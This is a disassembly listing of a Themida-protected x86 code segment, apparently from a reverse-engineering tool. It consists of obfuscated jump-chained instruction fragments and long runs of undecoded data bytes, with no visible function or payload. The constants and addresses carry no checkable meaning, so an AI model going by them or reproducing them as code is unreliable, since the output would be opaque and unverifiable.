; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0ACh
		dd 83FFFFFBh, 348702C6h, 17FE924h, 15F0000h, 241C8B03h
		dd 4C481h, 56580000h, 1A68DE89h, 8900000Fh, 48B2434h, 0D7AAE924h
		dd 6C81FFFFh, 3F2E0424h, 2C8B2CB2h, 0FF67E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F0132:				; CODE XREF: Themida_:005EF4B1j
		add	esp, 4
		push	edx
		sub	esp, 4
		jmp	loc_5EEF64
; ---------------------------------------------------------------------------


loc_5F0141:				; CODE XREF: Themida_:005EECCDj
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 20872D8Bh
		xor	ecx, esi
		pop	esi
		jmp	loc_5EDA32
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFD66AE9h, 0CF295DFFh, 0BADAE956h, 0D388FFFFh, 66D8285Ah
		dd 0D792E95Bh, 814DFFFFh, 176720C5h, 5DE8011Dh,	0FFB0A7E9h
		dd 5835BAFFh, 24E9185Bh
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F018F:				; CODE XREF: Themida_:005ED474j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 25DE66EFh
		add	[esp+4], ebx
		pop	ebx
		pop	ebp
		jmp	loc_5F0ACD
; ---------------------------------------------------------------------------
		dd 7EB9EB81h, 0E3D11CFCh, 0E907EBC1h, 242Ch, 18E9CA01h
		dd 0FF000008h, 58042474h, 8B24048Fh, 34892424h,	815E5424h
		dd 4C6h, 57E95000h, 30FFFFBFh, 162C5BDEh, 1604F028h, 24148B66h
		dd 2C481h, 1F2C0000h, 4B3CE9h, 24048F00h, 0FFA944E9h, 58E300FFh
		dd 52E9C380h, 0F9E9F7B2h, 0B9FFFFB9h, 0
		dd 0CE87F129h, 0FFD8DDE9h, 240C89FFh, 0FFEBCEE9h, 66C331FFh
		dd 5100B60Fh, 0C181E189h, 4, 2BB53h, 53570000h,	595706BBh
		dd 0EBA7BF3Fh, 0DF01E001h, 3E7815Bh, 0F71C7545h, 0E89DE9D7h
		dd 5457FFFFh, 539CE9h, 2434FF00h, 4C4835Bh, 0B6E9F030h
		dd 0E9FFFFD0h, 0FFFFA04Ah, 3E4E5FB8h, 3E8C122h,	6879BA52h
		dd 0D0012BFDh, 0FFAEFAE9h, 57665CFFh, 6C6FBF66h, 0FFB75FE9h
		dd 55CF68FFh, 0C890000h, 0E9595424h, 2E78h, 241C8B66h
		dd 0FFBB80E9h, 0EE815EFFh, 6F8D27F0h, 8324048Bh, 0E66804C4h
		dd 8900004Bh, 6068242Ch, 0E905EE02h, 0FFFFDB8Ch, 81241C8Bh
		dd 4C4h, 0E7895700h, 4C781h, 0C7810000h, 4, 5C243C87h
		dd 0FF9FD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F02E5:				; CODE XREF: Themida_:005EF2D6j
		push	ebp
		mov	ebp, 7F1C55DFh
		or	edi, ebp
		jmp	loc_5F627A
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 0CEBDFD3Eh, 2A5E9h, 93EA8100h, 16B6928h, 93C281EAh
		dd 5D6B6928h, 8704C283h, 0B5C2414h, 0F8840FC0h,	0FF000060h
		dd 33E91C77h, 0BBFFFFD9h, 0AF1C06Ch, 815BD831h,	9161BAC2h
		dd 81C20136h, 9161BAEAh, 0E9525836h, 1141h, 0BF57C801h
		dd 56183D1Ch, 8B5FF801h, 0C481240Ch, 4,	0FFFD6BE9h, 505A54FFh
		dd 0FFC0FCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F0361:				; CODE XREF: Themida_:005EE68Fj
		pop	esp
		push	417Fh
		mov	[esp], esp
		jmp	loc_5EC532
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8904EC83h, 4BA2414h,	1000000h, 2D5FE9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F0382:				; CODE XREF: Themida_:005F1CB9j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4000h
		and	eax, ebx
		pop	ebx
		shr	eax, 0Eh
		xor	eax, ecx
		push	edx
		mov	edx, esp
		jmp	loc_5F37AD
; ---------------------------------------------------------------------------
aSsjv		db 'SV',0
		align 4
		dd 8B2434FFh, 0C4812404h, 4, 45C068h, 39DAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F03BA:				; CODE XREF: Themida_:005EDED1j
		mov	ebp, 6D316F72h
		sub	[esp+4], ebp
		pop	ebp
		pop	eax
		push	ebp
		mov	ebp, 6D316F72h
		add	eax, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		jmp	loc_5EDCB2
; ---------------------------------------------------------------------------
		dw 0E1BFh
		dd 2150C634h, 243C8BFEh, 0C53CE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F03F6:				; CODE XREF: Themida_:005EB422j
		push	7410h
		mov	[esp], edx
		push	794F12C6h
		pop	edx
		jmp	loc_5EEB97
; ---------------------------------------------------------------------------
		db 5Dh,	87h, 0Ch
		dd 89665C24h, 0F66240Ch, 5166C8B6h, 9E98E99Ch, 0BE68FFFFh
		dd 8900002Bh, 0BD552404h, 4DB53A76h, 4246C29h, 2434FF5Dh
		dd 41E4E9h, 0E9E28900h,	0FFFFED18h, 0EF80DBB7h,	5BFD0003h
		dd 0E9F3F580h, 0FFFFDA08h, 2D05E8C1h, 1A962C6Bh, 0D18C672Dh
		dd 8BC189E7h, 0DAE92404h, 52FFFFEDh, 0DD5F41BAh, 0D5D6E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F0472:				; CODE XREF: Themida_:005EF59Ej
		mov	esp, [esp]
		add	eax, 0B5470AC6h
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	29F9h
		jmp	loc_5ED315
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 287Ch, 123168h, 24148900h, 0F18859B6h, 5A2434FFh
		dd 4C481h, 1BE90000h, 81FFFFB7h, 0A450B6C3h, 1C875873h
		dd 24248B24h, 8A268h, 24048900h, 0FF9DE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F04CD:				; CODE XREF: Themida_:005EFF88j
		sub	esp, 4
		mov	[esp], esi
		push	eax
		push	ecx
		push	0DD613A1h
		pop	ecx
		xchg	edi, ecx
		jmp	loc_5F250D
; ---------------------------------------------------------------------------
		dw 5551h
		dd 151FABDh, 0ADC5816Eh, 8110492Ah, 610AD4C5h, 5EDC16Dh
		dd 1BAE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F04FE:				; CODE XREF: Themida_:005F1EDFj
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	45DEh
		mov	[esp], ebp
		pop	dword ptr [edi+24h]
		jmp	loc_5EB212
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2EE9243Ch, 55FFFFEDh, 4BDh, 5DEB2900h, 31241C33h, 1C33241Ch
		dd 24248B24h, 0FF240489h, 525A2434h, 0C281E289h, 4, 469FBE56h
		dd 51E93E2Ah, 0FF000008h, 48B2434h, 4EC8324h, 89240C89h
		dd 4C181E1h, 83000000h,	0C3304C1h, 240C3124h, 8B240C33h
		dd 50E92424h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F0573:				; CODE XREF: Themida_:005EB5D9j
		sub	cl, 2Bh
		add	cl, bl
		add	cl, 2Bh
		jmp	loc_5F1DE3
; ---------------------------------------------------------------------------
		dd 2BE3E681h, 0B687E14h, 89000062h, 53E9243Ch, 58FFFFFEh
		dd 8B241487h, 34FF2424h, 21F0E924h, 0CB870000h,	81CB8741h
		dd 410B01F3h, 1C38127h,	43000000h, 0FFEA1BE9h, 48F58FFh
		dd 12E95C24h, 5C00002Ch, 79AD68h, 240C8900h, 0C181E189h
		dd 4, 4BE56h, 0F1010000h, 5929E9h, 4EC8300h, 3010E9h, 242C8B00h
		dd 3DB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F05F1:				; CODE XREF: Themida_:005EBBB1j
		mov	[esp], edx
		mov	edx, 2D607B93h
		jmp	loc_5ECF48
; ---------------------------------------------------------------------------
		dw 30B8h
		dd 15B6D0Dh, 58082444h,	2404015Eh, 81E38953h, 4C3h, 4EB8100h
		dd 53000000h, 42474FFh,	24048F5Bh, 2414895Ch, 6AA6B850h
		dd 0D0F77448h, 0D66B951h, 0C18105EDh, 28317C4h,	0FFCB1EE9h
		dd 5E954FFh, 8700005Fh,	0E95C243Ch, 0FFFFED21h,	4BE565Bh
		dd 81000000h, 9378B2C1h, 81F1011Ah, 9378B2E9h, 0C875E1Ah
		dd 0C3315C24h, 5D7268h,	0DCC0E900h, 0BC68FFFFh,	0E9663421h
		dd 102Dh, 582434FFh, 4A12E9h, 0FFE95000h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F068F:				; CODE XREF: Themida_:005F0C41j
		push	ebx
		jmp	loc_5EE5DB
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0C1h
		dd 8B082E1Ah, 0CE9241Ch, 2D000057h, 0F0B2F01Dh,	8158C589h
		dd 2397CEDh, 0E9EA01A8h, 0FFFF9C56h, 2D63EFB9h,	59CD095Ah
		dd 6FCDF581h, 0E9897267h, 0FFB0ABE9h, 0C3685AFFh, 89000054h
		dd 2BF243Ch, 1000000h, 243C8BF9h, 4C481h, 0FF510000h, 59042474h
		dd 0E924048Fh, 0FFFFBB97h, 526A5E05h, 0D0015F01h, 63CD22Dh
		dd 2434FF7Bh, 8324148Bh, 895704C4h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 5CBD555Ch, 8126FC71h, 0A7289FF5h, 0FFED8301h
		dd 5007E5C1h, 424E1DB8h, 3FBF576Dh, 0E962D526h,	0FFFFD6B2h
		dd 0BF57ADh, 81352212h,	41D1E5EFh, 1ACF81C1h, 8719530Bh
		dd 0F7874EF7h, 8904EC83h, 19BE2434h, 0E92B7028h, 0FFFFDBB1h
		dd 38C6C981h, 0EE91F22h, 29FFFFA5h, 71332DD0h, 2D5A6047h
		dd 883C0FB5h, 48BC331h,	4C48324h, 8101C383h, 9B1910F3h
		dd 0B2CB8100h, 557C5F03h, 0FFA7D0E9h, 48B66FFh,	4CE6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F07A6:				; CODE XREF: Themida_:005F3CAFj
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 58520D3Dh
		jmp	loc_5EF415
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0E6h
		dd 81FFFFA5h, 904D91F7h, 0F0F0E951h, 3C33FFFFh,	3C895C24h
		dd 5E95424h, 88000023h,	0B8E95AD5h, 0B8FFFFCAh,	6EA274ECh
		dd 96BB53h, 0EB81538Eh,	0F5B19551h, 1C8BD829h, 4C48124h
		dd 2D000000h, 0CC1FAC43h, 8158C529h, 0C2EAD7EDh, 5DEB0194h
		dd 81240C8Bh, 4C4h, 4EB8300h, 0E9241C33h, 0FFFF9F39h, 0D2C6815Dh
		dd 8109D673h, 0A7769EEEh, 0F6814E56h, 5BF74CD6h, 0CE4C681h
		dd 0FDE958E4h, 31000025h, 815D5FFEh, 0AB4BBAC2h, 68F2016Ch
		dd 3F53h, 32CCE9h, 9CF18100h, 894D414Fh, 0CBE959CEh, 80FFFFC3h
		dd 0EC80BFE4h, 2C26E934h, 0B3530000h, 0F86FE968h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F0882:				; CODE XREF: Themida_:005F555Dj
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 31BE08C1h
		sub	edi, 31BE08BDh
		jmp	loc_5EE136
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 24048B24h, 8B04C483h, 8950242Ch, 0E582E9E0h,	0FB01FFFFh
		dd 0FFF851E9h, 0D32859FFh, 0E924148Bh, 17BEh, 77E9C801h
		dd 5A000015h, 15EF029h,	0E722E9F8h, 8F54FFFFh, 4812404h
		dd 424h, 24048F00h, 93B85057h, 0BF1EE822h, 1EE82297h, 0A8E9C729h
		dd 52FFFFC5h, 3841E9h, 0CB814300h, 245E66C6h, 0FFF9F1E9h
		dd 241C89FFh, 0E565B1BBh, 59B85050h, 55527A67h,	0FFA896E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F0915:				; CODE XREF: Themida_:005EF185j
		pop	esp
		mov	[esp], edi
		jmp	loc_5EEE3C
; ---------------------------------------------------------------------------
		dw 285Bh
		dd 11C180E1h, 0C8005866h, 57240C8Bh, 0C7815F54h, 4, 0FFD339E9h
		dd 24148BFFh, 4C481h, 0C1810000h, 25074F17h, 0FFA84EE9h
		dd 20EA81FFh, 1765A43h,	20C281F2h, 0E9765A43h, 0FFFFDE43h
		dd 2904C483h, 0EC835DE8h, 24348904h, 811AA5BEh,	4EC8320h
		dd 55241C89h, 5BACBA52h, 0E2816E3Fh, 543032A0h,	2C12F281h
		dd 0D5890140h, 0FFF64AE9h, 0BD5551FFh, 40F77E66h, 0BDC0DDB9h
		dd 3F2E924h, 0E95C0000h, 0FFFF990Eh, 4C181h, 0C870000h
		dd 0B29EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F09B6:				; CODE XREF: Themida_:005F4D7Aj
		add	esp, 4
		sub	edx, 55473207h
		add	edx, edi
		jmp	loc_5EC308
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0AA97AC7Eh, 197BC381h, 5BE901A8h, 81000050h,	8B0595EAh
		dd 72EA810Bh, 8B5A4535h, 0C483240Ch, 24148704h,	24248Bh
		dd 0E99C2404h, 0FFFF98BEh
; ---------------------------------------------------------------------------


loc_5F09F8:				; CODE XREF: Themida_:005F2526j
		add	esi, 6BA2AF8h
		push	esi
		not	dword ptr [esp]
		jmp	loc_5ED2EF
; ---------------------------------------------------------------------------


loc_5F0A07:				; CODE XREF: Themida_:005EA502j
		not	al
		shr	al, 3
		push	ecx
		jmp	loc_5EC2F4
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 0C9E95506h, 5800000Ch, 40FB652h, 2CF028C7h, 0D8005AC7h
		dd 1AE90F04h, 89FFFFBBh, 0CB88241Ch, 8B5BDE88h,	0C481240Ch
		dd 4, 87FB450h,	0EEC058E6h, 80C6FE02h, 0EE8080EEh, 8E6C036h
		dd 4BCAE9h, 0CF295B00h,	1461E959h, 0F6800000h, 0CDF68034h
		dd 305AF528h, 0D6F659EEh, 80FCE680h, 0F02848EEh, 2CDBE9h
		dd 815D5400h, 4C5h, 5CFD6800h, 4890000h, 5F1B824h, 1E0D5A4Eh
		dd 4820A403h, 0DF3AC125h, 0FD44054Eh, 0FE9B531h, 0B7FFFFE0h
		dd 6CEF805Dh, 805BF900h, 0CB28DEC3h, 22EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F0AB9:				; CODE XREF: Themida_:005EA3A7j
		mov	edi, esp
		add	edi, 4
		push	ecx
		push	eax
		mov	eax, 0D525DB9h
		jmp	loc_5EBAAD
; ---------------------------------------------------------------------------


loc_5F0ACD:				; CODE XREF: Themida_:005F01A3j
		sub	ebp, 25DE66EFh
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5F272E
; ---------------------------------------------------------------------------


loc_5F0AED:				; CODE XREF: Themida_:005EFA74j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5F332E
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 0FFFFBDCFh, 0B75366ACh, 4D44E9EFh, 34FF0000h
		dd 2434FF24h, 8324048Bh, 0C48104C4h, 4,	815E5456h, 4C6h
		dd 0BB535000h, 224370E9h, 4C88E9h, 240C8B00h, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFD82Bh, 8058E320h
		dd 0E38012E3h, 5BEB80C3h, 8002E3C0h, 0CBFEA4F3h, 0C1F380h
		dd 0CDE95BDDh, 9FFFFB8h, 0DF8758C7h, 0DF87D3F7h, 67E3C781h
		dd 5B577F87h, 382DE95Fh, 5E5A0000h, 3F06E9h, 4C48100h
		dd 81000000h, 4606A8E3h, 56EB8106h, 157616Ah, 0D3015BDAh
		dd 5A2434FFh, 4C481h, 1C870000h, 1665C24h, 0E99C2404h
		dd 0C8Fh, 79617EBBh, 0FBC3810Bh, 815B3401h, 529C8BC3h
		dd 5BD90199h, 3BF2E9h, 0FEEB2D00h, 0C301FF9Fh, 8124048Bh
		dd 4C4h, 4C38100h, 53000000h, 0FFC335E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F0BF1:				; CODE XREF: Themida_:005F43C6j
		push	ebp
		jmp	loc_5F3F0C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5582414h, 36D45153h,	56E6E940h, 4ABB0000h, 0C11A841Dh
		dd 8AE902EBh, 8900000Fh, 0D03159CAh, 8124148Bh,	4C4h, 4EC8300h
		dd 0BE243489h, 43540DCBh, 0BD1B732Dh, 0B0EDE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F0C36:				; CODE XREF: Themida_:005F3104j
		mov	eax, 4F41DC2h
		jmp	loc_5F634E
; ---------------------------------------------------------------------------


loc_5F0C40:				; CODE XREF: Themida_:005ECB06j
		pop	esi
		jmp	loc_5F068F
; ---------------------------------------------------------------------------


loc_5F0C46:				; CODE XREF: Themida_:005EC7C9j
		push	2A7h
		mov	[esp], ecx
		mov	ecx, ebp
		mov	edx, ecx
		pop	ecx
		pop	ebp
		sub	edx, ebp
		mov	ebp, [esp]
		push	ebp
		jmp	loc_5EED12
; ---------------------------------------------------------------------------


loc_5F0C5F:				; CODE XREF: Themida_:005EFF77j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1B2B38BCh
		xor	ecx, 61B5F1Ah
		jmp	loc_5F4ADC
; ---------------------------------------------------------------------------


loc_5F0C78:				; CODE XREF: Themida_:005F577Dj
		mov	ebx, edx
		pop	edx
		sub	ebx, 7A4439CEh
		xor	ebx, 0E908DD0Dh
		jmp	loc_5F3284
; ---------------------------------------------------------------------------
		dd 2B8h, 8BC10100h, 0C4832404h,	240C8704h, 9CC8845Ch, 0FF9611E9h
		dd 240489FFh, 16108DB8h, 0A5C781C5h, 293D6210h,	0A5EF81C7h
		dd 583D6210h, 3CEFEF81h, 0FE010261h, 3A3CE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5F0CCA:				; CODE XREF: Themida_:005F2840j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5F2763
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 14h
		dd 89FFFFF1h, 4BA2414h,	0E9000000h, 0FFFFEF3Dh
; ---------------------------------------------------------------------------


loc_5F0CEC:				; CODE XREF: Themida_:005F38FEj
		push	ebx
		jmp	loc_5F497F
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 49F4602Bh, 0FFE431E9h, 240489FFh, 88DE8852h,	0E9E95AF0h
		dd 89000058h, 0FFC289F8h, 48B2434h, 0E9545324h,	0FFFF9E77h
		dd 2796EB81h, 0C3815EDEh, 16B900FBh, 0BE56F329h, 16B900FBh
		dd 815EF329h, 0DE2796C3h, 9CEB815Eh, 5E606260h,	0C07EC381h
		dd 73E9FACDh
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F0D4B:				; CODE XREF: Themida_:005F2910j
		push	1E535807h
		pop	eax
		mov	edx, 166A36CCh
		xor	edx, eax
		jmp	loc_5F499B
; ---------------------------------------------------------------------------
		db 54h,	5Fh, 81h
		dd 4C7h, 4EF8100h, 33000000h, 3C31243Ch, 243C3324h, 8924248Bh
		dd 0C568241Ch, 0E9000028h, 47A2h
; ---------------------------------------------------------------------------


loc_5F0D84:				; CODE XREF: Themida_:005F3A43j
		shr	ecx, 0Bh
		jmp	loc_5F613E
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 0FFFFADB0h, 0E95DE901h, 1AEBh, 0C14E4E46h
		dd 0DEF704EEh, 5B93F681h, 0F201FC1Dh, 2414875Eh, 0FF9CD1E9h
		dd 2434FFFFh, 5A3E9h, 0AABB5300h, 810C4448h, 312EDE3h
		dd 0B7F38159h, 12AFC7Bh, 0EA815BD8h, 5B0211B6h,	272968h
		dd 240C8900h, 665C88B9h, 0F1814157h, 755259F9h,	21DBF181h
		dd 0E981272Bh, 0E04F0CC8h, 5E98EA81h, 0EC814C76h, 4, 0B9240C89h
		dd 2930A41h, 1FAE981h, 0CA29CDB1h, 53240C8Bh, 0C3815B54h
		dd 4, 4C381h, 79E90000h, 8B000055h, 1FE9241Ch, 5B00000Eh
		dd 8B243C87h, 0E9572424h, 4DBAh, 8704C383h, 555C241Ch
		dd 77536850h, 0EEE97305h, 6800002Ah, 5149h, 0BD242C89h
		dd 0E9540E8h, 0FF5DEB29h, 815E2434h, 4C4h, 0E930FF00h
		dd 0FFFF9442h, 0E9CA015Dh, 0FFFFF614h, 31240433h, 4332404h
		dd 12E4E924h, 26B00000h, 48BC320h, 94F3E924h, 702DFFFFh
		dd 0E9302628h, 0FFFFF642h
; ---------------------------------------------------------------------------


loc_5F0EA0:				; CODE XREF: Themida_:005F43FFj
		mov	esi, ebx
		push	edx
		push	esi
		jmp	loc_5EB398
; ---------------------------------------------------------------------------


loc_5F0EA9:				; CODE XREF: Themida_:005F2A99j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5EF5EB
; ---------------------------------------------------------------------------


loc_5F0EBF:				; CODE XREF: Themida_:005ECB74j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_5EFF7C
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 73h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F0EE3:				; CODE XREF: Themida_:005EE24Cj
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		dd 4246C81h, 0B544F41h,	4247429h, 4244481h, 0B544F41h
		dd 0FFF9EEE9h, 48B66FFh, 5DE95724h, 5000022h, 55E4D32Eh
		dd 0FFD58DE9h, 71C181FFh, 290BC23Dh, 71E981C1h,	580BC23Dh
		dd 4416C281h, 0CA017FFEh, 4416EA81h, 33597FFEh,	14312414h
		dd 24143324h, 0CFF665Ch, 6FE99C24h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F0F47:				; CODE XREF: Themida_:005F1A4Fj
		pop	ebp
		jmp	loc_5EF2CD
; ---------------------------------------------------------------------------


loc_5F0F4D:				; CODE XREF: Themida_:005F5039j
		pop	edx
		push	7F64h
		mov	[esp], ebx
		jmp	loc_5F34BA
; ---------------------------------------------------------------------------


loc_5F0F5B:				; CODE XREF: Themida_:005EBAB8j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5EFB0B
; ---------------------------------------------------------------------------


loc_5F0F66:				; CODE XREF: Themida_:005F459Fj
		shl	edx, 1
		jmp	loc_5F3F6B
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0F5631ABAh, 5AD1315Bh, 0FFF7EBE9h, 243C89FFh, 2434FF54h
		dd 0E9243C8Bh, 264Bh, 835528BDh, 3AEF8174h, 163AF68h, 3AC781EFh
		dd 0E963AF68h, 478Ch
; ---------------------------------------------------------------------------


loc_5F0FA4:				; CODE XREF: Themida_:005EA5F2j
		push	edi
		mov	edi, 1Ch
		mov	ebx, edi
		pop	edi
		add	ebx, 2D226140h
		jmp	loc_5EC7E5
; ---------------------------------------------------------------------------
		dd 3108E8C1h, 66368C8h,	3C890000h, 50E78924h, 0AA3F03B8h
		dd 0D70D402Dh, 4053D02Fh, 0FFD22EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F0FD9:				; CODE XREF: Themida_:005F5DE2j
		push	3B1Bh
		mov	[esp], eax
		push	2AB4h
		mov	[esp], edi
		jmp	loc_5F4D98
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 2BF575Bh, 0E9000000h, 57Fh, 0FF14C781h, 0FE0108CBh
		dd 3FB4E9h, 74FF5600h, 8F5E0424h, 505C2404h, 0DC31EAB8h
		dd 8E8C148h, 48DC2D2Dh,	0E9C70100h, 3D57h, 7E1F23B9h, 8BCF090Ch
		dd 0C483240Ch, 47D7F704h, 7880BE56h, 0F7293AD2h, 0FFAA18E9h
		dd 0E9E388FFh, 2C04h
; ---------------------------------------------------------------------------


loc_5F104C:				; CODE XREF: Themida_:005F1240j
		push	ebp
		pop	esi
		pop	ebp
		shl	esi, 8
		jmp	loc_5F4051
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0BB1BE9D1h, 0E681FFFFh, 6D7716A9h, 8904EC83h, 0B3E92414h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F106F:				; CODE XREF: Themida_:005F203Dj
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	ecx
		mov	ecx, 6DD7F61h
		mov	edi, ecx
		mov	ecx, [esp]
		jmp	loc_5EBABD
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFC692h, 54241489h, 1D19E95Ah, 8CBD0000h
		dd 0F774977Fh, 0EEF581D5h, 8148340Dh, 3908C5E5h, 7DED8133h
		dd 0E9B624D5h, 2B19h, 24048B66h, 4EC81h, 0EDE90000h, 8300003Fh
		dd 0D02904C4h, 4FEB815Ah, 295C767Dh, 0E95556C3h, 0FFFFDF16h
; ---------------------------------------------------------------------------


loc_5F10F8:				; CODE XREF: Themida_:005F617Cj
		mov	ebx, 4352648Eh
		push	esi
		mov	esi, 488672B5h
		and	esi, 63514410h
		inc	esi
		shl	esi, 5
		sub	esi, 0BCB59D96h
		xor	ebx, esi
		pop	esi
		sub	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 45994896h
		dec	ebp
		shl	ebp, 1
		push	2D7Ch
		jmp	loc_5F1FC8
; ---------------------------------------------------------------------------
		dd 0E38953ACh, 1113E9h,	35B6B800h, 0D8F74A58h, 95A40548h
		dd 0C6099537h, 0FFE104E9h, 0F3EB81FFh, 29F802B1h, 34E95BD8h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F1163:				; CODE XREF: Themida_:005F54EAj
		pop	eax
		jmp	loc_5F2C8A
; ---------------------------------------------------------------------------


loc_5F1169:				; CODE XREF: Themida_:005ECFE9j
		mov	ecx, [ebx]
		jmp	loc_5ED4D4
; ---------------------------------------------------------------------------
aZs5		db 'Z5',0
		align 2
		dw 2C8Bh
		dd 4C48124h, 0E9000000h, 353h, 0C8B60F66h, 0E99C5166h
		dd 0FFFF9126h, 4C781h, 3C870000h, 0EF0DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F119E:				; CODE XREF: Themida_:005EFEC5j
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 0F063B4Bh
		shl	esi, 6
		inc	esi
		xor	esi, 0C18ED2C5h
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 4
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5F6243
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C4812404h, 2, 12C9E9h, 0D8C78000h, 18BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F11E1:				; CODE XREF: Themida_:005EA617j
		neg	ebx
		or	ebx, 728F6614h
		and	ebx, 3A4B5CFAh
		sub	ebx, 47A88FE7h
		jmp	loc_5F3C9E
; ---------------------------------------------------------------------------


loc_5F11FA:				; CODE XREF: Themida_:005F53CBj
		add	al, dl
		add	al, 0B7h
		mov	edx, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_5F45E8
; ---------------------------------------------------------------------------
		db 59h,	83h, 0C4h
		dd 0E9C20104h, 0FFFFBD24h
; ---------------------------------------------------------------------------


loc_5F122C:				; CODE XREF: Themida_:005F5517j
		shr	eax, 0Bh
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	esi
		push	ebp
		mov	ebp, 4B9235A7h
		jmp	loc_5F104C
; ---------------------------------------------------------------------------


loc_5F1245:				; CODE XREF: Themida_:005EDA5Fj
		mov	[esp], edx
		jmp	loc_5EBA9C
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0B1h
		dd 2902E57Fh, 0CB2958C1h, 74FF5359h, 8F5B0424h,	895C2404h
		dd 9C502414h, 0FF9049E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F126D:				; CODE XREF: Themida_:005F2C14j
		or	edx, ebx
		jmp	loc_5EB8BA
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFEFD5E9h, 57E189FFh, 0DE4316BFh, 0B6E9553Dh
		dd 0B500001Ah, 75CD8087h, 0FFAAFBE9h, 0EC835AFFh, 0FE0EE904h
